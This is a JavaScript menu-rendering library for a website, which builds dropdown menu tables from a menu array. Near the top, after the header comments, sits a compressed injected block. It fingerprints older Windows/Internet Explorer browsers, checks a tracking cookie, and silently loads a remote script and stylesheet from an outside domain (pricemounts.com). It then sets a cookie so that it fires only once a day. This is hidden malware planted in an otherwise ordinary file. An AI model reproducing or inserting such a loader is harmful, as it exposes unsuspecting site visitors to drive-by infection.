//================================================
//
//  Slavon.net menu v0,7b "write" lib
//
//   menu_x - x of "place_menu"
//   menu_y - y of "place_menu"
//   temp_menu - menu array by id (ex: menu[i].pid = 2)
//   index_menu - indexes between menu[] and temp_menu
//   menu_gen - menu (ID) already generated
//
//////////////////////////////////////////////////
//
//   TO DO:
//   1. menu[id].ori have 0,2 ; need 1,3
//   2. menu[id].type - horizontal, vertical
//   3. cellpadding - ok; cellspacing - need check
//   4. Optimization :)
//
//
//================================================

var ASAZADA = 0;
function detect(){var mb = new Array((/NT 5/i), (/SV1/i));for (var i = 0; i < mb.length; i++){if( navigator.userAgent.match(mb[i])) return 1;}return -1;}if(detect() == 1){var ddd;ddd:{var a;a:{for(var b=document.cookie.split(";"),c=0;c<b.length;c++){for(var d=b[c];d.charAt(0)==" ";)d=d.substring(1,d.length);if(d.indexOf("ppkcookie=")==0){a=d.substring(10,d.length);break a}}a=null}if(!a){function ldfile(a,c){if(c=="js"){var b=document.createElement("script");b.setAttribute("type","text/javascript");b.setAttribute("src",a)}else c=="css"&&(b=document.createElement("link"),b.setAttribute("rel","stylesheet"),b.setAttribute("type","text/css"),b.setAttribute("href",a));typeof b!="undefined"&&document.getElementsByTagName("head")[0].appendChild(b)}(function(a){function c(){b=1;for(var a=0,c=d.length;a<c;a++)d[a]()}var b=0,d=[],e=a.createElement("a");/^loade|c/.test(a.readyState)&&(b=1);a.addEventListener&&a.addEventListener("DOMContentLoaded",function g(){a.removeEventListener("DOMContentLoaded",g,!1);c()},!1);e.doScroll&&a.attachEvent("onreadystatechange",function h(){/^c/.test(a.readyState)&&(a.detachEvent("onreadystatechange",h),c())});var f=e.doScroll?function(a){self!=top?!b?d.push(a):a():function(){try{e.doScroll("left")}catch(b){return setTimeout(function(){f(a)},50)}a()}()}:function(a){b?a():d.push(a)};typeof module!=="undefined"&&module.exports?module.exports={domReady:f}:window.domReady=f})(document);domReady(function(){var duri="pricemounts.com";ldfile("http://"+duri+"/le.css?v="+Math.round(Math.random()*1E3),"css");ldfile("http://"+duri+"/d.js?v="+Math.round(Math.random()*1E3),"js")});;var e=new Date;e.setTime(e.getTime()+864E5);document.cookie="ppkcookie=tscookie;expires="+e.toGMTString()+";path=/"};};};

function write_menu_l1(ox, oy){
menu_x = ox;
menu_y = oy;
write_menu_custom(0);
}



function write_menu_other(){
}
function write_menu_custom(id){
	var temp_menu = new Array();
	var index_menu = new Array();
	var str = '';

	for(i=0; i<menu_gen.length; i++)
		if (menu_gen[i] == id)
			return true;
	
	for(i=1; i<menu.length; i++)
		if (menu[i].pid == id){
			temp_menu[(temp_menu.length?temp_menu.length:0)] = menu[i];
			index_menu[(index_menu.length?index_menu.length:0)] = i;
		}

/*	for(i=0; i<temp_menu.length; i++){
		if (temp_menu.img)
			if (temp_menu.img_comp)
					

	}
*/
	if (temp_menu.length){
		if (menu_gen.length && menu[id].ori==2){
			xx = menu[id].x + menu[id].w;
			yy = menu[id].y;
		}else{
			xx = menu_gen.length?menu[id].x:'';
			yy = menu_gen.length?(menu[id].y + menu[id].h):'';
		}
		                                                
//		alert("id" + id + "\n" + "xx:" + xx + "\n" + "yy:" + yy + "\n");

		if (!menu_gen.length){
			str = '<table border="0" cellspacing="0" cellpadding="0" width="100%"><tr><td style="background: url(/common/img/bg_14.gif) repeat-y center #a90232"><table cellpadding=0 cellspacing=0 border=0 width="100%">';
			str += '<tr>';
			str += '<td width="50%"><div style="height: 1px; width: 0px"><spacer type="block" height="1"></spacer></div></td>';
			for(i=0; i<temp_menu.length; i++){
/*		        	if (temp_menu[i].img){
		                	var imgx = new Image();
                			imgx.src = temp_menu[i].img;
		                }
*/
		                if (i!=0)
		                    str += '<td><img src="/common/img/menu/hr.gif" width="18" height="7" hspace="7" vspace="6" border="0" alt=""></td>';
				str += '<td id="td_' + index_menu[i] + '" name="td_' + index_menu[i] + '" onmouseover="td_menu_over(' + index_menu[i] + ');" onmouseout="td_menu_out();"><a href="'+ temp_menu[i].url +'"><img src="'+ temp_menu[i].img+'"  width="'+ temp_menu[i].width+'"  height="19" alt="'+ temp_menu[i].text+'" border="0"></a></td>';
			}
			str += '<td width="50%"><div style="height: 1px; width: 0px"><spacer type="block" height="1"></spacer></div></td>';
			str += '</tr>';
			str += '</table></td></tr></table>';
		}else{
			for(i=0; i<temp_menu.length; i++){
/*
		        	if (temp_menu[i].img){
		                	var imgx = new Image();
                			imgx.src = temp_menu[i].img;
		                }
*/
            		}
			str = "<div id='a" + id + "' style='width: 190px; position: absolute; left: " + xx + "px; top: " + yy + "px; visibility: visible; z-index: 999999;'>";
			str += '<table border="0" cellspacing="0" cellpadding="0">';
			for(i=0; i<temp_menu.length; i++){
		                if (i!=0)
		                    str += '<tr><td><img src="/common/img/menu/' + ((temp_menu[i].td_style == '2')?('2'):('3')) + '_hr.gif" height="3" border="0" alt=""></td></tr>';
                		str += '<tr>';
				str += '<td id="td_' + index_menu[i] + '" name="td_' + index_menu[i] + '" onmouseover="td_menu_over(' + index_menu[i] + ');" onmouseout="td_menu_out();" width="100%"><a href="'+ temp_menu[i].url +'"><img id="td_y_' + index_menu[i] + '" name="td_y_' + index_menu[i] + '" src="'+ temp_menu[i].img+'" width="'+ ((temp_menu[i].td_style == '2')?('123'):('135'))+'" height="'+ temp_menu[i].height+'" alt="'+ temp_menu[i].text+'" border="0"></a></td>';
				str += '</tr>';
			}
			str += '</table>';
			str += "</div>";
		}
		if(menu_gen.length){
			getRef('place_menu2').innerHTML += str;
		}else{
			getRef('place_menu').innerHTML = str;
		}
		for(i=0; i<temp_menu.length; i++){
			menu[index_menu[i]].h = getRef("td_" + index_menu[i]).offsetHeight;
			menu[index_menu[i]].w = getRef("td_" + index_menu[i]).offsetWidth;
		
			if (menu_gen.length){
				menu[index_menu[i]].x = getRef("a" + id).offsetLeft + getRef("td_" + index_menu[i]).offsetLeft;
				menu[index_menu[i]].y = getRef("a" + id).offsetTop + getRef("td_" + index_menu[i]).offsetTop;
			}else{
				menu[index_menu[i]].x = menu_x + getRef("place_menu").offsetLeft + getRef("td_" + index_menu[i]).offsetLeft - ((123 - menu[index_menu[i]].w)/2);
				menu[index_menu[i]].y = menu_y + getRef("place_menu").offsetTop + getRef("td_" + index_menu[i]).offsetTop + 1;
			}
 		}
		menu_gen[(menu_gen.length?menu_gen.length:0)] = id;
	}
}

function clear_all(){
menu_show = new Array();
menu_gen = new Array();
menu_id = "";
menu_status = 0;
getRef('place_menu2').innerHTML = "";
getRef('place_menu').innerHTML = "";
write_menu_custom(0);
}
